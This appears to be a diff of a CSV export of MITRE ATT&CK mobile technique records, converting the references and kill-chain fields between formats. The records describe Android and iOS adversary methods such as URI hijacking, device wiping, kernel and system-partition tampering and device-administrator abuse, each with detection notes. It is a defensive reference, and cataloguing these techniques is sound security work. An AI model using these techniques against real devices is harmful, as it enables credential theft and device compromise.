14:48:32.008000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. +On iOS, gathering network configuration information is not possible without root access.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1422', 'external_id': 'T1422'}, {'source_name': 'NetworkInterface', 'description': 'Android. (n.d.). NetworkInterface. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/java/net/NetworkInterface.html'}, {'source_name': 'TelephonyManager', 'description': 'Android. (n.d.). TelephonyManager. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/android/telephony/TelephonyManager.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,False,,"['Android', 'iOS']",2.1,,,,,,['Post-Adversary Device Access'],MOB-T1025 +attack-pattern,attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:32.328Z,2019-09-23T13:26:01.263Z,Obfuscated Files or Information,"An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1406', 'external_id': 'T1406'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html', 'external_id': 'APP-21'}, {'source_name': 'Rastogi', 'description': 'Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.', 'url': 'http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf'}, {'source_name': 'Zhou', 'description': 'Yajin Zhou and Xuxian Jiang. (2012, May). Dissecting Android Malware: Characterization and Evolution. Retrieved December 9, 2016.', 'url': 'http://ieeexplore.ieee.org/document/6234407'}, {'source_name': 'TrendMicro-Obad', 'description': 'Veo Zhang. (2013, June 13). Cybercriminals Improve Android Malware Stealth Routines with OBAD. Retrieved December 9, 2016.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/'}, {'source_name': 'Xiao-iOS', 'description': 'Claud Xiao. (2016, July). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved December 9, 2016.', 'url': 'http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Malicious obfuscation of files or information can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,"['Android', 'iOS']",2.0,,,,,,['Post-Adversary Device Access'],MOB-T1009 +attack-pattern,attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:32.008Z,2020-10-01T12:42:21.628Z,URI Hijacking,"Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. -Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1416', external_id='T1416'), ExternalReference(source_name='Trend Micro iOS URL Hijacking', description='L. Wu, Y. Zhou, M. Li. (2019, July 12). iOS URL Scheme Susceptible to Hijacking. Retrieved September 11, 2020.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/'), ExternalReference(source_name='IETF-PKCE', description='N. Sakimura, J. Bradley, and N. Agarwal. (2015, September). IETF RFC 7636: Proof Key for Code Exchange by OAuth Public Clients. Retrieved December 21, 2016.', url='https://tools.ietf.org/html/rfc7636')]",attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2020-10-01 12:42:21.628000+00:00,URI Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Leo Zhang, Trend Micro', 'Steven Du, Trend Micro']",,,,,,"On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.",,,,,False,,MOB-T1019,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:31.694000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019) +Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1416', 'external_id': 'T1416'}, {'source_name': 'Trend Micro iOS URL Hijacking', 'description': 'L. Wu, Y. Zhou, M. Li. (2019, July 12). iOS URL Scheme Susceptible to Hijacking. Retrieved September 11, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/'}, {'source_name': 'IETF-PKCE', 'description': 'N. Sakimura, J. Bradley, and N. Agarwal. (2015, September). IETF RFC 7636: Proof Key for Code Exchange by OAuth Public Clients. Retrieved December 21, 2016.', 'url': 'https://tools.ietf.org/html/rfc7636'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Leo Zhang, Trend Micro', 'Steven Du, Trend Micro']",,,"On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.",False,,"['Android', 'iOS']",2.0,,,,,,['Post-Adversary Device Access'],MOB-T1019 +attack-pattern,attack-pattern--8e27551a-5080-4148-a584-c64348212e4f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:31.694Z,2020-10-01T12:52:58.150Z,Delete Device Data,"Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019) -Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1447', external_id='T1447'), ExternalReference(source_name='Android DevicePolicyManager 2019', description='Android Developers. (n.d.). DevicePolicyManager. Retrieved September 22, 2019.', url='https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html')]",attack-pattern--8e27551a-5080-4148-a584-c64348212e4f,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2020-10-01 12:52:58.150000+00:00,Delete Device Data,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing.",,,,,False,,MOB-T1050,,['Android'],,,['Post-Adversary Device Access'],2.1 -2017-10-25 14:48:31.294000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality. +Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1447', 'external_id': 'T1447'}, {'source_name': 'Android DevicePolicyManager 2019', 'description': 'Android Developers. (n.d.). DevicePolicyManager. Retrieved September 22, 2019.', 'url': 'https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing.",False,,['Android'],2.1,,,,,,['Post-Adversary Device Access'],MOB-T1050 +attack-pattern,attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:31.294Z,2018-10-17T00:14:20.652Z,Modify OS Kernel or Boot Partition,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality. Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code. -If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1398', external_id='T1398'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html', external_id='APP-26'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', external_id='APP-27'), ExternalReference(source_name='Samsung-KnoxWarrantyBit', description='Samsung. (n.d.). What is a Knox Warranty Bit and how is it triggered?. Retrieved December 21, 2016.', url='https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered'), ExternalReference(source_name='Apple-iOSSecurityGuide', description='Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', url='https://www.apple.com/business/docs/iOS_Security_Guide.pdf')]",attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence')]",2018-10-17 00:14:20.652000+00:00,Modify OS Kernel or Boot Partition,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices. +If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1398', 'external_id': 'T1398'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html', 'external_id': 'APP-26'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Samsung-KnoxWarrantyBit', 'description': 'Samsung. (n.d.). What is a Knox Warranty Bit and how is it triggered?. Retrieved December 21, 2016.', 'url': 'https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered'}, {'source_name': 'Apple-iOSSecurityGuide', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices. Samsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered ""if a non-Knox kernel has been loaded on the device"" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device. As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected. -Many enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.",,,,,,,MOB-T1001,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:30.890000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user. +Many enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1001 +attack-pattern,attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:30.890Z,2019-09-04T13:35:57.549Z,Modify System Partition,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user. -Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1400', external_id='T1400'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', external_id='APP-27'), ExternalReference(source_name='Android-VerifiedBoot', description='Android. (n.d.). Verified Boot. Retrieved December 21, 2016.', url='https://source.android.com/security/verifiedboot/'), ExternalReference(source_name='Apple-iOSSecurityGuide', description='Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', url='https://www.apple.com/business/docs/iOS_Security_Guide.pdf')]",attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact')]",2019-09-04 13:35:57.549000+00:00,Modify System Partition,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition. +Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1400', 'external_id': 'T1400'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Android-VerifiedBoot', 'description': 'Android. (n.d.). Verified Boot. Retrieved December 21, 2016.', 'url': 'https://source.android.com/security/verifiedboot/'}, {'source_name': 'Apple-iOSSecurityGuide', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition. The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices. -iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.(Citation: Apple-iOSSecurityGuide)",,,,,,,MOB-T1003,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.2 -2017-10-25 14:48:30.127000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. +iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.(Citation: Apple-iOSSecurityGuide)",,,"['Android', 'iOS']",1.2,,,,,,['Post-Adversary Device Access'],MOB-T1003 +attack-pattern,attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:30.127Z,2020-03-27T15:28:03.858Z,Broadcast Receivers,"An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. Further, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications. -In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1402', external_id='T1402'), ExternalReference(source_name='Android Changes to System Broadcasts', description='Google. (2019, December 27). Broadcasts Overview. Retrieved January 27, 2020.', url='https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts')]",attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='execution')]",2020-03-27 15:28:03.858000+00:00,Broadcast Receivers,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Alex Hinchliffe, Palo Alto Networks']",,,,,,Broadcast intent receivers are part of standard OS-level APIs and are therefore typically undetectable to the end user.,,,,,False,,MOB-T1005,,['Android'],,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:29.774000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may request device administrator permissions to perform malicious actions. +In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1402', 'external_id': 'T1402'}, {'source_name': 'Android Changes to System Broadcasts', 'description': 'Google. (2019, December 27). Broadcasts Overview. Retrieved January 27, 2020.', 'url': 'https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alex Hinchliffe, Palo Alto Networks']",,,Broadcast intent receivers are part of standard OS-level APIs and are therefore typically undetectable to the end user.,False,,['Android'],2.0,,,,,,['Post-Adversary Device Access'],MOB-T1005 +attack-pattern,attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:29.774Z,2020-11-24T13:40:08.343Z,Device Administrator Permissions,"Adversaries may request device administrator permissions to perform malicious actions. By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and any traces of the malware, disabling all of the device’s cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo) -Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1401', external_id='T1401'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html', external_id='APP-22'), ExternalReference(source_name='Android DeviceAdminInfo', description='Google. (n.d.). DeviceAdminInfo. Retrieved November 20, 2020.', url='https://developer.android.com/reference/android/app/admin/DeviceAdminInfo')]",attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='privilege-escalation')]",2020-11-24 13:40:08.343000+00:00,Device Administrator Permissions,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Users can see when an app requests device administrator permissions. Users can also view which apps have device administrator permissions in the settings menu.,,,,,False,,MOB-T1004,,['Android'],,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:29.405000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.,"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1404', external_id='T1404'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html', external_id='APP-26')]",attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='privilege-escalation')]",2018-10-17 00:14:20.652000+00:00,Exploit OS Vulnerability,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1007,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:29.092000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1403', external_id='T1403'), ExternalReference(source_name='Sabanal-ART', description='Paul Sabanal. (2015). Hiding Behind ART. Retrieved December 21, 2016.', url='https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf')]",attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence')]",2019-10-09 19:39:32.872000+00:00,Modify Cached Executable Code,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Modifications to cached executable code can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,,,,,MOB-T1006,,['Android'],,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:28.067000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target. +Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1401', 'external_id': 'T1401'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html', 'external_id': 'APP-22'}, {'source_name': 'Android DeviceAdminInfo', 'description': 'Google. (n.d.). DeviceAdminInfo. Retrieved November 20, 2020.', 'url': 'https://developer.android.com/reference/android/app/admin/DeviceAdminInfo'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Users can see when an app requests device administrator permissions. Users can also view which apps have device administrator permissions in the settings menu.,False,,['Android'],2.0,,,,,,['Post-Adversary Device Access'],MOB-T1004 +attack-pattern,attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:29.405Z,2018-10-17T00:14:20.652Z,Exploit OS Vulnerability,A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.,"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1404', 'external_id': 'T1404'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html', 'external_id': 'APP-26'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1007 +attack-pattern,attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:29.092Z,2019-10-09T19:39:32.872Z,Modify Cached Executable Code,"ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1403', 'external_id': 'T1403'}, {'source_name': 'Sabanal-ART', 'description': 'Paul Sabanal. (2015). Hiding Behind ART. Retrieved December 21, 2016.', 'url': 'https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Modifications to cached executable code can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,['Android'],1.1,,,,,,['Post-Adversary Device Access'],MOB-T1006 +attack-pattern,attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:28.067Z,2018-10-17T00:14:20.652Z,Application Discovery,"Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target. On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool. -On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1418', external_id='T1418'), ExternalReference(source_name='Android-PackageManager', description='Android. (n.d.). PackageManager. Retrieved December 21, 2016.', url='https://developer.android.com/reference/android/content/pm/PackageManager.html'), ExternalReference(source_name='Kurtz-MaliciousiOSApps', description='Andreas Kurtz. (2014, September 18). Malicious iOS Apps. Retrieved December 21, 2016.', url='https://andreas-kurtz.de/2014/09/malicious-ios-apps/')]",attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2018-10-17 00:14:20.652000+00:00,Application Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1021,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:27.660000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may capture user input to obtain credentials or other information from the user through various methods. +On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1418', 'external_id': 'T1418'}, {'source_name': 